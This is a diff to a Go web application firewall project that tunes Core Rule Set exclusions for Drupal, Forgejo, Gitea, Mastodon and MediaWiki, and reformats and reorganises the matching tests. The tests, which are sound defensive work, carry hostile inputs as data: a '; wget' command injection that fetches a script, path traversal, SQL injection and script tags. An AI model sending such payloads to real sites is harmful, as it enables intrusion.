 			if first <= lastOwnRuleID && last >= firstOwnRuleID {
-				return fmt.Errorf(
+				return fmt.Errorf("the exclusions file names %s: %w", match[0],
-					"the exclusions file names %s: %w",
+					errSwwRuleID)
-					match[0],
-					errSwwRuleID,
-				)
 			}
 		}
 
 		// Coraza takes the directive's name up to the first space, without
 		// regard to case.
 		name, _, _ := strings.Cut(directive, " ")
-		if lower := strings.ToLower(name); strings.HasPrefix(
+		if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
-			lower,
-			"secruleremove",
-		) ||
 			strings.HasPrefix(lower, "secruleupdate") {
-			return fmt.Errorf(
+			return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
-				"%s in the exclusions file changes no rule: %w",
+				errChangesNoRule)
-				name,
-				errChangesNoRule,
-			)
 		}
 	}
 
@@ -499,10 +488,7 @@ func (c *CoreRuleSet) Inspect(
 // readBody reads one byte past the limit, to tell which they are, gives
 // the Core Rule Set what it reads, and returns what it read and the error
 // that ended the reading early, if one did.
-func (c *CoreRuleSet) readBody(
+func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
-	tx types.Transaction,
-	body io.Reader,
-) ([]byte, error) {
 	if c.bodyLimit == 0 {
 		return nil, nil
 	}

internal/coreruleset/drupal_test.go

@@ -124,25 +124,15 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.body)
 			if got.Score < drupalThreshold {
-				t.Errorf(
+				t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
-					"POST %s %q let through: %+v",
-					sent.target,
-					sent.body,
-					got,
-				)
 			}
 		}
 	}
-}
 
-// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
+	for _, attack := range []string{
-// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
+		injection,
-func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
+		scriptTag,
-	t.Parallel()
+	} {
-
-	crs := readingBodies(t)
-
-	for _, attack := range []string{injection, scriptTag} {
 		for _, field := range []string{
 			`"title":"` + attack + `"`,
 			`"body":{"value":"` + attack + `"}`,
@@ -163,11 +153,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
 			}
 		}
 
-		r := request{
+		r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
-			http.MethodPatch,
-			"/node/2?_format=json",
-			[]string{jsonBody},
-		}
 		body := `{"title":[{"value":"` + attack + `"}]}`
 
 		got, _ := inspectBody(t, crs, r, body)
@@ -212,25 +198,14 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
 	wantPasswordFieldsPass(t, []passwordFields{
 		{drupalRegister, formData, pass},
 		{"/fr/user/register", formData, pass},
-		{
+		{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
-			"/user/1/edit",
-			formData,
-			[]string{"current_pass", pass[0], pass[1]},
-		},
 		{"/admin/people/create", formData, pass},
 		{drupalJSONRegister, jsonBody, []string{value}},
 		{drupalJSONRegister, jsonBody, []string{"pass.value"}},
-		{
+		{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
-			"/user/1?_format=json",
-			jsonBody,
-			[]string{value, "pass.0.existing"},
-		},
 		{
 			"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
-			[]string{
+			[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
-				"data.attributes.pass.value",
-				"data.attributes.pass.existing",
-			},
 		},
 	})
 }
@@ -247,11 +222,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 		`../../sites/default/settings.php`,
 	} {
 		for _, field := range []string{"name", "mail"} {
-			r := request{
+			r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
-				http.MethodPost,
-				drupalJSONPasswordReset,
-				[]string{jsonBody},
-			}
 			body := `{"` + field + `":"` + attack + `"}`
 
 			got, _ := inspectBody(t, crs, r, body)
@@ -270,23 +241,12 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 		{"ls -la", 932250},
 		{".htaccess@example.com", 930120},
 	} {
-		r := request{
+		r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
-			http.MethodPost,
-			drupalJSONPasswordReset,
-			[]string{jsonBody},
-		}
 		body := `{"mail":"` + kept.value + `"}`
 
 		got, _ := inspectBody(t, crs, r, body)
-		if got.Score < drupalThreshold ||
+		if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
-			!slices.Contains(got.RuleIDs, kept.rule) {
+			t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
-			t.Errorf(
-				"POST %s %s: %+v, want %d among them",
-				r.target,
-				body,
-				got,
-				kept.rule,
-			)
 		}
 	}
 }
@@ -357,35 +317,10 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
 		if got.Score < drupalThreshold {
-			t.Errorf(
+			t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
-				"POST %s %s let through: %+v",
-				r.target,
-				sent.field,
-				got,
-			)
 		}
 	}
 
-	// An address keeps 932250, which refuses ls -la.
-	r := request{http.MethodPost, drupalEditAccount, []string{formData}}
-
-	got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
-	if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
-		t.Errorf(
-			"POST %s mail=ls%%20-la: %+v, want 932250 among them",
-			r.target,
-			got,
-		)
-	}
-}
-
-// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
-// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
-func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
-	t.Parallel()
-
-	crs := readingBodies(t)
-
 	for _, field := range []string{
 		`"title":"; wget http://example.com/x.sh"`,
 		`"subject":"; wget http://example.com/x.sh"`,
@@ -407,11 +342,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
 		}
 	}
 
-	r := request{
+	r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
-		http.MethodPatch,
-		"/node/2?_format=json",
-		[]string{jsonBody},
-	}
 	body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
 
 	got, _ := inspectBody(t, crs, r, body)
@@ -426,6 +357,14 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
 	if got.Score < drupalThreshold {
 		t.Errorf("POST %s %s let through: %+v", r.target, body, got)
 	}
+
+	// An address keeps 932250, which refuses ls -la.
+	r = request{http.MethodPost, drupalEditAccount, []string{formData}}
+
+	got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
+	if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
+		t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
+	}
 }
 
 func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
@@ -449,13 +388,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.field+value)
 			if got.Score >= drupalThreshold {
-				t.Errorf(
+				t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
-					"POST %s %s%s refused: %+v",
-					sent.target,
-					sent.field,
-					value,
-					got,
-				)
 			}
 		}
 	}
@@ -474,11 +407,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 			t.Errorf("POST %s %s refused: %+v", r.target, body, got)
 		}
 
-		r = request{
+		r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
-			http.MethodPost,
-			"/fr" + drupalJSONPasswordReset,
-			[]string{jsonBody},
-		}
 		body = `{"name":"` + word + `"}`
 
 		got, _ = inspectBody(t, crs, r, body)
@@ -488,11 +417,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 	}
 
 	for _, address := range []string{"python3@example.com", "powershell@example.com"} {
-		r := request{
+		r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
-			http.MethodPost,
-			"/fr" + drupalJSONPasswordReset,
-			[]string{jsonBody},
-		}
 		body := `{"mail":"` + address + `"}`
 
 		got, _ := inspectBody(t, crs, r, body)
@@ -558,11 +483,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
 		{drupalEditAccount, "mail=python3"},
 		{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
 	} {
-		r := request{
+		r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
-			http.MethodPost,
-			sent.path + "?" + sent.field,
-			[]string{formData},
-		}
 
 		got, _ := inspectBody(t, crs, r, sent.field)
 		if got.Score < drupalThreshold {

internal/coreruleset/forgejo.conf

@@ -19,99 +19,3 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
     ctl:ruleRemoveTargetById=932160;ARGS:q,\
     ctl:ruleRemoveTargetById=932250;ARGS:q,\
     ctl:ruleRemoveTargetById=932260;ARGS:q"
-
-# Forgejo's search of a repository's code at a branch or a tag sends the text
-# searched for in q. The search box on a repository's home page sends it there
-# when Forgejo has no code indexer, as by default. A branch or tag name can
-# hold a slash, as feat/docker-support does. q skips there the rules it skips
-# on gitea's search of code (900600 in gitea.conf). Among them, these refused
-# Forgejo's searches there:
-#   930120: .htaccess
-#   932120: powershell
-#   932160: /bin/sh
-#   932250: ls -la
-#   932260: python3
-# Forgejo has no owner named api, so a path under /api/ gets none of this.
-SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
-    "id:900681,phase:1,pass,nolog,chain"
-    SecRule REQUEST_FILENAME "!@rx ^/api/" \
-        "ctl:ruleRemoveTargetById=930110;ARGS:q,\
-        ctl:ruleRemoveTargetById=930120;ARGS:q,\
-        ctl:ruleRemoveTargetById=931100;ARGS:q,\
-        ctl:ruleRemoveTargetById=932120;ARGS:q,\
-        ctl:ruleRemoveTargetById=932130;ARGS:q,\
-        ctl:ruleRemoveTargetById=932140;ARGS:q,\
-        ctl:ruleRemoveTargetById=932160;ARGS:q,\
-        ctl:ruleRemoveTargetById=932235;ARGS:q,\
-        ctl:ruleRemoveTargetById=932250;ARGS:q,\
-        ctl:ruleRemoveTargetById=932260;ARGS:q,\
-        ctl:ruleRemoveTargetById=932380;ARGS:q,\
-        ctl:ruleRemoveTargetById=933100;ARGS:q,\
-        ctl:ruleRemoveTargetById=933130;ARGS:q,\
-        ctl:ruleRemoveTargetById=933135;ARGS:q,\
-        ctl:ruleRemoveTargetById=934100;ARGS:q,\
-        ctl:ruleRemoveTargetById=934110;ARGS:q,\
-        ctl:ruleRemoveTargetById=934130;ARGS:q,\
-        ctl:ruleRemoveTargetById=941100;ARGS:q,\
-        ctl:ruleRemoveTargetById=941110;ARGS:q,\
-        ctl:ruleRemoveTargetById=941160;ARGS:q,\
-        ctl:ruleRemoveTargetById=941180;ARGS:q,\
-        ctl:ruleRemoveTargetById=941390;ARGS:q,\
-        ctl:ruleRemoveTargetById=942100;ARGS:q,\
-        ctl:ruleRemoveTargetById=942140;ARGS:q,\
-        ctl:ruleRemoveTargetById=942190;ARGS:q,\
-        ctl:ruleRemoveTargetById=942230;ARGS:q,\
-        ctl:ruleRemoveTargetById=944100;ARGS:q,\
-        ctl:ruleRemoveTargetById=944110;ARGS:q,\
-        ctl:ruleRemoveTargetById=944130;ARGS:q"
-
-# A page opened from the results of that search has the search's address in
-# Referer, which skips these rules then, as after gitea's searches (900601 in
-# gitea.conf):
-#   941110: <script>
-#   941120: onClick={
-#   941160: <img src=
-#   942100: LIKE '%foo%'
-#   944100: java.lang.Runtime
-# A path under /api/ is left out here too.
-SecRule REQUEST_HEADERS:Referer \
-    "@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
-    "id:900684,phase:1,pass,nolog,chain"
-    SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
-        "ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
-        ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
-        ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
-        ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
-        ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
-
-# Forgejo's search of a repository's releases, on its page and in the API,
-# matches q against each release's title and tag. A tag name can hold a slash.
-# q skips these rules there:
-#   930120: .htaccess
-#   932120: powershell
-#   932160: /bin/sh
-#   932250: ls -la
-#   932260: python3
-# Forgejo has no owner named api, so /api/v1/releases is not one.
-SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
-    "id:900682,phase:1,pass,nolog,chain"
-    SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:q,\
-        ctl:ruleRemoveTargetById=932120;ARGS:q,\
-        ctl:ruleRemoveTargetById=932160;ARGS:q,\
-        ctl:ruleRemoveTargetById=932250;ARGS:q,\
-        ctl:ruleRemoveTargetById=932260;ARGS:q"
-
-# The API's search of a job's log sends the text searched for in q, which
-# skips these rules there:
-#   930120: .htaccess
-#   932120: powershell
-#   932250: ls -la
-#   932260: python3
-SecRule REQUEST_FILENAME \
-    "@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
-    "id:900683,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930120;ARGS:q,\
-    ctl:ruleRemoveTargetById=932120;ARGS:q,\
-    ctl:ruleRemoveTargetById=932250;ARGS:q,\
-    ctl:ruleRemoveTargetById=932260;ARGS:q"

internal/coreruleset/forgejo_test.go

@@ -6,18 +6,13 @@ import (
 	"testing"
 )
 
-// forgejoSearches are Forgejo's searches whose q skips some rules: those of
+// forgejoSearches are Forgejo's searches whose q skips some rules: the
-// a wiki, of releases and of a job's log, from the fifteenth change, and the
+// wiki's, from the fifteenth change, and the searches for a name, from the
-// searches for a name, from the eighth. The search of code at a branch or tag
+// eighth.
-// is not one of them: there, as on gitea's search of code, q lets these
-// attacks through.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var forgejoSearches = []string{
 	"/alice/tools/wiki/search",
-	"/alice/tools/releases",
-	"/api/v1/repos/alice/tools/releases",
-	"/api/v1/repos/alice/tools/actions/jobs/1/logs",
 	"/explore/repos",
 	"/explore/users",
 	"/alice/tools/branches",
@@ -63,33 +58,16 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
 
 	crs := atDefaults(t)
 
-	// /bin/sh and the hard values, which q lets through on the searches of
+	// /bin/sh and the hard values, which q lets through on the wiki's
-	// the fifteenth change and on those of branches and packages, stay
+	// search, stay refused in q on paths near it and in another field on it.
-	// refused in q on paths near them and in another field on them.
 	// /alice/wiki/search would be the code search of a repository named
 	// wiki, where the eighth change lets q through. Forgejo has no owner
-	// named api, so the paths under /api/ here are not searches.
+	// named api, so /api/wiki/search is not one.
 	for _, target := range []string{
 		"/alice/tools/wiki/Home?q=",
 		"/alice/tools/wiki/search/x?q=",
 		"/api/wiki/search?q=",
 		"/alice/tools/wiki/search?other=",
-		"/alice/tools/search/branch?q=",
-		"/alice/tools/search/commit/0123abc?q=",
-		"/alice/tools/src/branch/main?q=",
-		"/api/tools/search/branch/main?q=",
-		"/alice/tools/search/branch/main?other=",
-		"/alice/tools/releases/tag/v1.0?q=",
-		"/alice/tools/releases/latest?q=",
-		"/api/v1/releases?q=",
-		"/alice/tools/releases?other=",
-		"/api/v1/repos/alice/tools/actions/jobs/1?q=",
-		"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
-		"/alice/tools/actions/runs/1/jobs/0/logs?q=",
-		"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
-		"/alice/tools/branches/x?q=",
-		"/alice/-/packages/npm/x?q=",
-		"/alice/tools/branches?other=",
 	} {
 		for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
 			if got := inspect(t, crs, get(target+value)); got.Score < threshold {
@@ -97,19 +75,4 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
 			}
 		}
 	}
-
-	// Referer keeps its rules on a page opened from a path near the code
-	// search at a branch or tag.
-	for _, path := range []string{
-		"/alice/tools/search/branch",
-		"/alice/tools/search/commit/0123abc",
-		"/api/tools/search/branch/main",
-	} {
-		for _, attack := range []string{scriptTag, injection} {
-			referer := "Referer: http://example.com" + path + "?q=" + attack
-			if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
-				t.Errorf("%s let through: %+v", referer, got)
-			}
-		}
-	}
 }

internal/coreruleset/gitea.conf

@@ -115,13 +115,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
     ctl:ruleRemoveTargetById=932260;ARGS:q,\
     ctl:ruleRemoveTargetById=944130;ARGS:q"
 
-# A branch or package name can hold a slash, as feat/docker-support and npm's
-# @scope/name do. So q on a repository's branches page and on an owner's
-# packages page also skips this rule:
-#   932160: /bin/sh
-SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
-    "id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
-
 # gitea's other searches for a name send it in q too, which skips only these
 # rules there:
 #   930120: .profile

internal/coreruleset/mastodon_test.go

@@ -106,58 +106,26 @@ var mastodonFormFields = []mastodonBodyField{
 	{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
 	{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
 	{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
-	{
+	{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
-		http.MethodPost,
+	{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
-		"/admin/domain_blocks",
-		"domain_block[private_comment]=",
-	},
-	{
-		http.MethodPost,
-		"/admin/domain_blocks",
-		"domain_block[public_comment]=",
-	},
 	{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
 	{http.MethodPost, mastodonRules, "rule[text]="},
 	{http.MethodPost, mastodonRules, "rule[hint]="},
 	{http.MethodPost, "/admin/announcements", "announcement[text]="},
 	{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
-	{
+	{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
-		http.MethodPost,
-		mastodonBranding,
-		"form_admin_settings[site_short_description]=",
-	},
 	{
 		http.MethodPost, "/admin/settings/about",
 		"form_admin_settings[site_extended_description]=",
 	},
 	{http.MethodPost, "/filters", "custom_filter[title]="},
-	{
+	{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
-		http.MethodPost,
+	{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
-		"/filters",
+	{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
-		"custom_filter[keywords_attributes][0][keyword]=",
-	},
-	{
-		http.MethodPost,
-		"/settings/applications",
-		"doorkeeper_application[name]=",
-	},
-	{
-		http.MethodPost,
-		"/settings/applications",
-		"doorkeeper_application[website]=",
-	},
 	{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
 	{http.MethodPost, "/settings/migration", "account_migration[acct]="},
-	{
+	{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
-		http.MethodPost,
+	{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
-		mastodonAccount,
-		"user[invite_request_attributes][text]=",
-	},
-	{
-		http.MethodPost,
-		"/admin/accounts/1/action",
-		"admin_account_action[text]=",
-	},
 	{http.MethodPost, "/admin/report_notes", "report_note[content]="},
 	{
 		http.MethodPost, "/admin/account_moderation_notes",
@@ -181,20 +149,12 @@ var mastodonPasswordForms = []mastodonBodyField{
 	{http.MethodPost, mastodonAccount, mastodonPassword},
 	{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
 	{http.MethodPost, mastodonAccount, "user[current_password]="},
-	{
+	{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
-		http.MethodPost,
-		"/settings/migration",
-		"account_migration[current_password]=",
-	},
 	{
 		http.MethodPost, "/settings/migration/redirect",
 		"form_redirect[current_password]=",
 	},
-	{
+	{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
-		http.MethodPost,
-		"/settings/delete",
-		"form_delete_confirmation[password]=",
-	},
 	{http.MethodPost, mastodonSignUp, passwordField},
 }
 
@@ -221,28 +181,12 @@ var mastodonJSONFields = []mastodonBodyField{
 	},
 	{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
 	{http.MethodPatch, mastodonEditor, `{"note":%s}`},
-	{
+	{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
-		http.MethodPatch,
+	{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
-		mastodonEditor,
-		`{"fields_attributes":[{"name":%s}]}`,
-	},
-	{
-		http.MethodPatch,
-		mastodonEditor,
-		`{"fields_attributes":[{"value":%s}]}`,
-	},
 	{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
 	{http.MethodPatch, mastodonProfile, `{"note":%s}`},
-	{
+	{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
-		http.MethodPatch,
+	{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
-		mastodonProfile,
-		`{"fields_attributes":[{"name":%s}]}`,
-	},
-	{
-		http.MethodPatch,
-		mastodonProfile,
-		`{"fields_attributes":[{"value":%s}]}`,
-	},
 	{http.MethodPost, mastodonReports, `{"comment":%s}`},
 	{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
 	{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
@@ -251,16 +195,8 @@ var mastodonJSONFields = []mastodonBodyField{
 	{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
 	{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
 	{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
-	{
+	{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
-		http.MethodPost,
+	{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
-		mastodonInbox,
-		`{"object":{"attachment":[{"name":%s}]}}`,
-	},
-	{
-		http.MethodPost,
-		mastodonInbox,
-		`{"object":{"attachment":[{"value":%s}]}}`,
-	},
 	{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
 	{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
 }
@@ -303,12 +239,7 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
 	}
 
 	r := request{sent.method, sent.target, []string{jsonBody}}
-	got, _ := inspectBody(
+	got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
-		t,
-		readingBodies(t),
-		r,
-		fmt.Sprintf(sent.field, quoted),
-	)
 
 	return got.Score
 }
@@ -339,11 +270,7 @@ func mastodonScores(
 	}
 
 	for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
-		scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(
+		scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
-			t,
-			sent,
-			value,
-		)
 	}
 
 	unescaped, err := url.QueryUnescape(value)
@@ -352,11 +279,7 @@ func mastodonScores(
 	}
 
 	for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
-		scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(
+		scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
-			t,
-			sent,
-			unescaped,
-		)
 	}
 
 	return scores
@@ -393,11 +316,8 @@ func TestMastodonPasswordsPass(t *testing.T) {
 	t.Run("JSON", func(t *testing.T) {
 		t.Parallel()
 
-		r := request{
+		r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
-			mastodonPasswordJSON.method,
+			[]string{jsonBody}}
-			mastodonPasswordJSON.target,
-			[]string{jsonBody},
-		}
 
 		wantRandomPasswordsPass(t, r, "password")
 		wantPasswordAttacksPass(t, r, "password")
@@ -412,16 +332,8 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
 
 	wantPasswordFieldsPass(t, []passwordFields{
 		{"/auth/challenge", formData, challenge},
-		{
+		{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
-			"/settings/two_factor_authentication/otp_authentication",
+		{"/settings/two_factor_authentication_methods/disable", formData, challenge},
-			formData,
-			challenge,
-		},
-		{
-			"/settings/two_factor_authentication_methods/disable",
-			formData,
-			challenge,
-		},
 	})
 }
 
@@ -596,11 +508,7 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
 		{mastodonReport, "false"},
 		{mastodonForwardedReport, "remote.example"},
 	} {
-		report := mastodonBodyField{
+		report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
-			http.MethodPost,
-			mastodonReports,
-			sent.body,
-		}
 		if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
 			t.Errorf("%v refused: %d", report, got)
 		}
@@ -664,20 +572,12 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
 	}
 
 	// Elsewhere both keep the two rules.
-	signIn := mastodonBodyField{
+	signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
-		http.MethodPost,
-		mastodonSignIn,
-		mastodonUsername.field,
-	}
 	if mastodonForm(t, signIn, "python3") < mastodonThreshold {
 		t.Errorf("%v let through", signIn)
 	}
 
-	statuses := mastodonBodyField{
+	statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
-		http.MethodPost,
-		mastodonStatuses,
-		mastodonHashtag.field,
-	}
 	if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
 		t.Errorf("%v let through", statuses)
 	}
@@ -717,11 +617,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
 	// Elsewhere the address keeps every rule.
 	for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
 		sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
-		if mastodonForm(
+		if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
-			t,
-			sent,
-			"python3%40example.com",
-		) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
 	}

internal/coreruleset/mediawiki_test.go

@@ -221,13 +221,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.field+attack)
 			if got.Score < mediawikiThreshold {
-				t.Errorf(
+				t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
-					"POST %s %s%s let through: %+v",
-					sent.target,
-					sent.field,
-					attack,
-					got,
-				)
 			}
 		}
 	}
@@ -237,11 +231,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 		scriptTag,
 	} {
 		for _, field := range []string{"source", "comment"} {
-			r := request{
+			r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
-				http.MethodPut,
-				mediawikiRESTPage,
-				[]string{jsonBody},
-			}
 			body := `{"` + field + `":"` + attack + `"}`
 
 			got, _ := inspectBody(t, crs, r, body)
@@ -280,31 +270,15 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
 		{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
 		{mediawikiSignIn + "&" + loginContinue, formData, retype},
 		{mediawikiAccountChange + "?" + changeAction, formData, change},
-		{
+		{mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
-			mediawikiAccountChange + subpage + "?" + changeAction,
+		{"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
-			formData,
-			change,
-		},
-		{
-			"/index.php/Special:ChangeCredentials?" + changeAction,
-			formData,
-			change,
-		},
 		{
 			"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
 			formData, change,
 		},
-		{
+		{"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
-			"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
-			formData,
-			change,
-		},
 		// A German wiki's names for the same pages.
-		{
+		{"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
-			"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
-			formData,
-			retype,
-		},
 		{
 			"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
 			formData, retype,
@@ -345,12 +319,7 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
 
 		body := formBody(sent.name, "' OR '1'='1")
 		if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
-			t.Errorf(
+			t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
-				"POST %s %s let through: %+v",
-				sent.target,
-				sent.name,
-				got,
-			)
 		}
 	}
 }
@@ -381,9 +350,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 
 	crs := atDefaults(t)
 
-	targets := append(
+	targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
-		[]string{"/load.php?modules="},
-		mediawikiQueryFields...)
 
